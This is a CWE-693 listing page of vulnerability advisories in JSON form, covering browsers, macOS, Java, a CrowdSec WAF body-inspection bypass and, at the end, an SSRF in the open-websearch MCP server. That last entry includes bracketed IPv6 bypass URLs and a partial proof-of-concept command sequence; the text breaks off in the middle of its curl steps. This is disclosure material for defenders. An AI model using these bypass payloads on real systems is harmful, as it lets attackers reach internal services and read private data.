Common Weakness Enumeration

CWE-693

Discouraged

Protection Mechanism Failure

Abstraction: Pillar · Status: Draft

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

1140 vulnerabilities reference this CWE, most recent first.

GHSA-RQF6-JF48-P6RM

Vulnerability from github – Published: 2026-02-10 18:30 – Updated: 2026-03-27 21:31
VLAI
Details

Protection mechanism failure in MSHTML Framework allows an unauthorized attacker to bypass a security feature over a network.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-21513"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-10T18:16:33Z",
    "severity": "HIGH"
  },
  "details": "Protection mechanism failure in MSHTML Framework allows an unauthorized attacker to bypass a security feature over a network.",
  "id": "GHSA-rqf6-jf48-p6rm",
  "modified": "2026-03-27T21:31:32Z",
  "published": "2026-02-10T18:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21513"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21513"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-21513"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/cve-2026-21513-detection-script-security-feature-bypass-vulnerability-in-mshtml-framework"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/cve-2026-21513-mitigation-script-security-feature-bypass-vulnerability-in-mshtml-framework"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RQFC-PC98-68H2

Vulnerability from github – Published: 2025-12-17 21:30 – Updated: 2026-08-21 03:31
VLAI
Details

A logic issue was addressed with improved validation. This issue is fixed in macOS Tahoe 26.2. An app may bypass Gatekeeper checks.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-46291"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-17T21:16:14Z",
    "severity": "HIGH"
  },
  "details": "A logic issue was addressed with improved validation. This issue is fixed in macOS Tahoe 26.2. An app may bypass Gatekeeper checks.",
  "id": "GHSA-rqfc-pc98-68h2",
  "modified": "2026-08-21T03:31:21Z",
  "published": "2025-12-17T21:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46291"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/125886"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/126349"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RR5W-74H2-XQHC

Vulnerability from github – Published: 2026-05-12 15:31 – Updated: 2026-06-30 03:36
VLAI
Details

Sandbox escape in the Profile Backup component. This vulnerability was fixed in Firefox 150.0.3.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-8401"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-653",
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-12T15:16:20Z",
    "severity": "CRITICAL"
  },
  "details": "Sandbox escape in the Profile Backup component. This vulnerability was fixed in Firefox 150.0.3.",
  "id": "GHSA-rr5w-74h2-xqhc",
  "modified": "2026-06-30T03:36:39Z",
  "published": "2026-05-12T15:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8401"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-51"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-48"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-47"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-45"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-8401.json"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2476492"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2038679"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-8401"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:27715"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26630"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26629"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26606"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26551"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26539"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26536"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26521"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26493"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26492"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26491"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26270"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26269"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26268"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26174"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:22643"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:22325"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:21382"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:21381"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:21380"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:21378"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RRP2-728P-3HXR

Vulnerability from github – Published: 2026-08-14 21:31 – Updated: 2026-08-14 21:31
VLAI
Details

IBM Db2 Mirror for i 7.4, 7.5, and 7.6 could allow a remote authenticated attacker to bypass security restrictions due to the ability to disable server-side input validation via a request parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-17079"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-14T20:16:50Z",
    "severity": "MODERATE"
  },
  "details": "IBM Db2 Mirror for i 7.4, 7.5, and 7.6 could allow a remote authenticated attacker to bypass security restrictions due to the ability to disable server-side input validation via a request parameter.",
  "id": "GHSA-rrp2-728p-3hxr",
  "modified": "2026-08-14T21:31:34Z",
  "published": "2026-08-14T21:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-17079"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7283359"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RRQ3-QV5P-CXVG

Vulnerability from github – Published: 2025-10-31 18:31 – Updated: 2025-11-10 15:31
VLAI
Details

Missing Security Headers.This issue affects BLU-IC2: through 1.19.5; BLU-IC4: through 1.19.5.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-12554"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-31T16:15:40Z",
    "severity": "MODERATE"
  },
  "details": "Missing Security Headers.This issue affects BLU-IC2: through 1.19.5; BLU-IC4: through 1.19.5.",
  "id": "GHSA-rrq3-qv5p-cxvg",
  "modified": "2025-11-10T15:31:04Z",
  "published": "2025-10-31T18:31:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12554"
    },
    {
      "type": "WEB",
      "url": "https://azure-access.com/security-advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-RRV6-H93V-3P5P

Vulnerability from github – Published: 2026-06-05 00:31 – Updated: 2026-06-05 15:32
VLAI
Details

Insufficient policy enforcement in CustomTabs in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Low)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-11247"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-05T00:17:01Z",
    "severity": "LOW"
  },
  "details": "Insufficient policy enforcement in CustomTabs in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Low)",
  "id": "GHSA-rrv6-h93v-3p5p",
  "modified": "2026-06-05T15:32:20Z",
  "published": "2026-06-05T00:31:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11247"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/497865734"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RW47-HM26-6WR7

Vulnerability from github – Published: 2026-05-27 19:58 – Updated: 2026-05-27 19:58
VLAI
Summary
CrowdSec AppSec silently drops request body for chunked / HTTP-2 requests
Details

Summary

The CrowdSec AppSec component fails to read the HTTP request body for any request whose Content-Length is not positive — most notably HTTP/1.1 requests using Transfer-Encoding: chunked and HTTP/2 requests sent without a content-length header. Coraza is then evaluated against an empty body, so every WAF rule targeting REQUEST_BODY, BODY_ARGS, ARGS_POST, JSON, or XML silently fails to match.

An unauthenticated remote attacker can bypass the entire AppSec body-inspection pipeline by changing a single framing header on an otherwise-malicious request. The bypassed request is forwarded as allow and produces no WAF log entry.

Affected versions

  • github.com/crowdsecurity/crowdsec — all releases up to and including v1.7.7.

Affected component

pkg/appsec/request.go, function NewParsedRequestFromRequest.

Root cause

func NewParsedRequestFromRequest(r *http.Request, logger *log.Entry) (ParsedRequest, error) {
    var err error
    contentLength := max(r.ContentLength, 0)
    body := make([]byte, contentLength)
    if r.Body != nil {
        _, err = io.ReadFull(r.Body, body)
        if err != nil {
            return ParsedRequest{}, fmt.Errorf("unable to read body: %s", err)
        }
        r.Body = io.NopCloser(bytes.NewBuffer(body))
    }
    ...
}

Go's net/http server sets r.ContentLength = -1 when the request uses Transfer-Encoding: chunked with no Content-Length header, or when an HTTP/2 request omits the content-length pseudo-header (DATA-frame-only body). With ContentLength == -1:

  1. max(-1, 0) evaluates to 0.
  2. make([]byte, 0) allocates a zero-length slice.
  3. io.ReadFull on a zero-length buffer needs zero bytes and returns immediately without touching r.Body.
  4. The empty buffer is written back onto the request and onto the cloned request constructed later in the same function.

Every downstream consumer then sees an empty body. In the AppSec runner, WriteRequestBody is skipped because the parsed body has zero length, and ProcessRequestBody runs against nothing.

Impact

Every body-scanning rule is bypassed for any request whose framing makes Content-Length non-positive. In default CrowdSec deployments using the standard AppSec collections, the bypass affects any rule with zones containing BODY_ARGS, JSON, XML, REQUEST_BODY, or ARGS_POST.

No configuration option mitigates the issue — the defect is in the request parser, not in any ruleset. Bypassed requests do not produce a WAF log entry, so operators have no signal that rules are being skipped.

Header-only and URI-only rules are unaffected.

Workarounds

No complete workaround is available.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.7.7"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/crowdsecurity/crowdsec"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.0"
            },
            {
              "fixed": "1.7.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44982"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T19:58:15Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe CrowdSec AppSec component fails to read the HTTP request body for any request whose `Content-Length` is not positive \u2014 most notably HTTP/1.1 requests using `Transfer-Encoding: chunked` and HTTP/2 requests sent without a `content-length` header. Coraza is then evaluated against an empty body, so every WAF rule targeting `REQUEST_BODY`, `BODY_ARGS`, `ARGS_POST`, `JSON`, or `XML` silently fails to match.\n\nAn unauthenticated remote attacker can bypass the entire AppSec body-inspection pipeline  by changing a single framing header on an otherwise-malicious request. The bypassed request is forwarded as `allow` and produces no WAF log entry.\n\n## Affected versions\n\n- `github.com/crowdsecurity/crowdsec` \u2014 all releases up to and including **v1.7.7**.\n\n## Affected component\n\n`pkg/appsec/request.go`, function `NewParsedRequestFromRequest`.\n\n## Root cause\n\n```go\nfunc NewParsedRequestFromRequest(r *http.Request, logger *log.Entry) (ParsedRequest, error) {\n    var err error\n    contentLength := max(r.ContentLength, 0)\n    body := make([]byte, contentLength)\n    if r.Body != nil {\n        _, err = io.ReadFull(r.Body, body)\n        if err != nil {\n            return ParsedRequest{}, fmt.Errorf(\"unable to read body: %s\", err)\n        }\n        r.Body = io.NopCloser(bytes.NewBuffer(body))\n    }\n    ...\n}\n```\n\nGo\u0027s `net/http` server sets `r.ContentLength = -1` when the request uses `Transfer-Encoding: chunked` with no `Content-Length` header, or when an HTTP/2 request omits the `content-length` pseudo-header (DATA-frame-only body). With `ContentLength == -1`:\n\n1. `max(-1, 0)` evaluates to `0`.\n2. `make([]byte, 0)` allocates a zero-length slice.\n3. `io.ReadFull` on a zero-length buffer needs zero bytes and returns immediately without touching `r.Body`.\n4. The empty buffer is written back onto the request and onto the cloned request constructed later in the same function.\n\nEvery downstream consumer then sees an empty body. In the AppSec runner, `WriteRequestBody` is skipped because the parsed body has zero length, and `ProcessRequestBody` runs against nothing.\n\n## Impact\n\nEvery body-scanning rule is bypassed for any request whose framing makes `Content-Length` non-positive. In default CrowdSec deployments using the standard AppSec collections, the bypass affects any rule with `zones` containing `BODY_ARGS`, `JSON`, `XML`, `REQUEST_BODY`, or `ARGS_POST`.\n\nNo configuration option mitigates the issue \u2014 the defect is in the request parser, not in any ruleset. Bypassed requests do not produce a WAF log entry, so operators have no signal that rules are being skipped.\n\nHeader-only and URI-only rules are unaffected.\n\n## Workarounds\n\nNo complete workaround is available.",
  "id": "GHSA-rw47-hm26-6wr7",
  "modified": "2026-05-27T19:58:15Z",
  "published": "2026-05-27T19:58:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/crowdsecurity/crowdsec/security/advisories/GHSA-rw47-hm26-6wr7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/crowdsecurity/crowdsec"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CrowdSec AppSec silently drops request body for chunked / HTTP-2 requests"
}

GHSA-RW7F-3QV6-GP4Q

Vulnerability from github – Published: 2026-07-30 03:31 – Updated: 2026-07-31 21:31
VLAI
Details

Inappropriate implementation in Network in Google Chrome on Mac prior to 151.0.7922.72 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-17856"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-30T01:16:49Z",
    "severity": "CRITICAL"
  },
  "details": "Inappropriate implementation in Network in Google Chrome on Mac prior to 151.0.7922.72 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)",
  "id": "GHSA-rw7f-3qv6-gp4q",
  "modified": "2026-07-31T21:31:51Z",
  "published": "2026-07-30T03:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-17856"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/07/stable-channel-update-for-desktop_0887107924.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/519991751"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RX4C-WHWX-3X45

Vulnerability from github – Published: 2022-05-24 19:18 – Updated: 2024-06-21 21:33
VLAI
Details

Vulnerability in the Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Swing). Supported versions that are affected are Java SE: 7u311, 8u301, 11.0.12, 17; Oracle GraalVM Enterprise Edition: 20.3.3 and 21.2.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Java SE, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 5.3 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-35556"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-20T11:16:00Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Swing). Supported versions that are affected are Java SE: 7u311, 8u301, 11.0.12, 17; Oracle GraalVM Enterprise Edition: 20.3.3 and 21.2.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Java SE, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 5.3 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).",
  "id": "GHSA-rx4c-whwx-3x45",
  "modified": "2024-06-21T21:33:50Z",
  "published": "2022-05-24T19:18:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-35556"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2021/dsa-5012"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2021/dsa-5000"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240621-0006"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20211022-0004"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202209-05"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/V362B2BWTH5IJDL45QPQGMBKIQOG7JX5"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GXTUWAWXVU37GRNIG4TPMA47THO6VAE6"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GTYZWIXDFUV2H57YQZJWPOD3BC3I3EIQ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DJILEHYV2U37HKMGFEQ7CAVOV4DUWW2O"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/7WTVCIVHTX3XONYOEGUMLKCM4QEC6INT"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6EUURAQOIJYFZHQ7DFZCO6IKDPIAWTNK"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/V362B2BWTH5IJDL45QPQGMBKIQOG7JX5"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/GXTUWAWXVU37GRNIG4TPMA47THO6VAE6"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/GTYZWIXDFUV2H57YQZJWPOD3BC3I3EIQ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/DJILEHYV2U37HKMGFEQ7CAVOV4DUWW2O"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7WTVCIVHTX3XONYOEGUMLKCM4QEC6INT"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6EUURAQOIJYFZHQ7DFZCO6IKDPIAWTNK"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2021/11/msg00008.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V228-72C7-FX8J

Vulnerability from github – Published: 2026-05-05 20:51 – Updated: 2026-05-13 16:24
VLAI
Summary
open-websearch has SSRF in `fetchWebContent` MCP tool: bracketed IPv6 literals and non-resolving hostname check bypass `isPrivateOrLocalHostname`
Details

Summary

src/utils/urlSafety.ts exposes isPublicHttpUrl / assertPublicHttpUrl, used to gate the MCP fetchWebContent tool against private-network targets. The check has two defects that together allow non-blind SSRF with the response body returned to the caller:

  1. Bracketed IPv6 literals are never recognized. Node's WHATWG URL.hostname keeps the surrounding […] for IPv6 literals. isIP("[::1]") returns 0 (not 6), so neither isPrivateIpv4 nor isPrivateIpv6 is ever called on an IPv6 literal input — including [::1] itself, and including every IPv4-mapped form such as [::ffff:7f00:1] (= 127.0.0.1 via the IPv4 stack).
  2. No DNS resolution. isPrivateOrLocalHostname only inspects the literal hostname string. It never resolves the host to an IP. Any attacker-controlled hostname whose DNS record points at 127.0.0.1 (or any RFC1918 / link-local address) passes the check unchanged, and axios then performs its own resolution and connects to the private address.

The isPrivateIpv6 implementation also has the hex bypass (it would miss ::ffff:7f00:1 even if reached) but defect (1) makes every bracketed IPv6 literal slip past before that branch is even entered.

The fetchWebContent tool returns the response body (JSON.stringify(result)) to the MCP caller, so the SSRF is non-blind.

Details

Vulnerable functionsrc/utils/urlSafety.ts:95-119:

export function isPrivateOrLocalHostname(hostname: string): boolean {
  const host = hostname.trim().toLowerCase();
  if (!host) return true;
  if (host === 'localhost' || host.endsWith('.localhost')) return true;
  if (host === 'metadata.google.internal' || host === 'metadata.azure.internal') return true;
  const integerIp = parseIntegerIpv4Literal(host);
  if (integerIp && isPrivateIpv4(integerIp)) return true;
  if (isPrivateOrLocalIp(host)) return true;   // only runs if isIP(host) ∈ {4, 6}
  return false;
}

isPrivateOrLocalIpsrc/utils/urlSafety.ts:84-93:

function isPrivateOrLocalIp(ip: string): boolean {
  const version = isIP(ip);  // returns 0 for "[::1]", "[::ffff:7f00:1]", any bracketed literal
  if (version === 4) return isPrivateIpv4(ip);
  if (version === 6) return isPrivateIpv6(ip);
  return false;
}

Caller — src/tools/setupTools.ts:252-286 (fetchWebContent tool):

server.tool(
  fetchWebToolName,  // default: "fetchWebContent"
  "Fetch content from a public HTTP(S) URL ...",
  { url: z.string().url().refine(
      (url) => validatePublicWebUrl(url),   // → isPublicHttpUrl → isPrivateOrLocalHostname
      "URL must be a public HTTP(S) address ..."
    ), /* … */ },
  async ({url, maxChars}) => {
    const result = await runtime.services.fetchWeb.execute({ url, maxChars, /*…*/ });
    return { content: [{ type: 'text', text: JSON.stringify(result, null, 2) }] };
  }
);

Service — src/engines/web/fetchWebContent.ts:313-375: re-validates via assertPublicHttpUrl (same broken check), then calls axios.head + axios.get on the raw URL and returns response.data and response.headers to the caller.

Transport — src/index.ts:85-253: when config.enableHttpServer is true (documented configuration; enabled by the Docker image), the MCP server binds on 0.0.0.0:${PORT} (default 3000) with CORS origin: '*' and no authentication on /mcp (Streamable HTTP) or /sse (legacy SSE). Anyone who can reach the port can invoke any tool.

Verification of the validator (run against current HEAD)

I executed the real isPublicHttpUrl / assertPublicHttpUrl from src/utils/urlSafety.ts under tsx against a set of inputs:

Input URL parsed.hostname isPublicHttpUrl assertPublicHttpUrl
http://[::ffff:7f00:1]/ (127.0.0.1) [::ffff:7f00:1] true ← bypass PASSED ← bypass
http://[::ffff:a9fe:1]/ (169.254.0.1) [::ffff:a9fe:1] true ← bypass PASSED ← bypass
http://[::ffff:a00:1]/ (10.0.0.1) [::ffff:a00:1] true ← bypass PASSED ← bypass
http://[::ffff:127.0.0.1]/ [::ffff:7f00:1] true ← bypass PASSED ← bypass
http://[0:0:0:0:0:0:0:1]/ [::1] true ← bypass PASSED ← bypass
http://[::1]/ (plain loopback!) [::1] true ← bypass PASSED ← bypass
http://127.0.0.1/ (control) 127.0.0.1 false (blocked) threw (blocked)
http://localhost/ (control) localhost false (blocked) threw (blocked)

WHATWG new URL("http://[::ffff:127.0.0.1]/").hostname returns [::ffff:7f00:1] — note that Node's URL parser actively re-encodes the dotted form to hex, helping the bypass. Every bracketed IPv6 literal passes the validator.

Verification of the fetch (Node 22/25)

I bound a trivial HTTP server to 127.0.0.1:29999 and called axios.get("http://[::ffff:7f00:1]:29999/") from Node; the request reached the server:

  HIT: / from 127.0.0.1 family IPv4
http://[::ffff:7f00:1]:29999/ -> 200 <html>internal content</html>

The OS routes ::ffff:X.X.X.X connections through the IPv4 stack, so the PoC works identically across macOS and Linux.

Environment: clean clone of Aas-ee/open-webSearch@HEAD, Node 22+.

1. Start the MCP HTTP server.

git clone https://github.com/Aas-ee/open-webSearch.git
cd open-webSearch
npm install && npm run build
MODE=http PORT=3000 node build/index.js &

2. Stand up a canary on loopback.

node -e '
  require("http").createServer((q,r)=>{
    console.log("[canary]", q.method, q.url, "from", q.socket.remoteAddress);
    r.writeHead(200, {"content-type":"text/html"});
    r.end("INTERNAL-SECRET: canary-hit for " + q.url);
  }).listen(19999, "127.0.0.1", () => console.log("canary on 127.0.0.1:19999"));
' &

3. Open an MCP session and call fetchWebContent with the bypass URL.

# Accept header must include both JSON and SSE for Streamable HTTP transport.
ACCEPT='application/json, text/event-stream'

# initialize → grab the mcp-session-id header
SID=$(curl -sSD - -o /dev/null -X POST http://127.0.0.1:3000/mcp \
  -H "Accept: $ACCEPT" -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-03-26","capabilities":{},"clientInfo":{"name":"poc","version":"0"}}}' \
  | awk 'tolower($1)=="mcp-session-id:" { gsub(/\r/,""); print $2 }')

# notifications/initialized
curl -sS -X POST http://127.0.0.1:3000/mcp \
  -H "Accept: $ACCEPT" -H 'Content-Type: application/json' -H "mcp-session-id: $SID" \
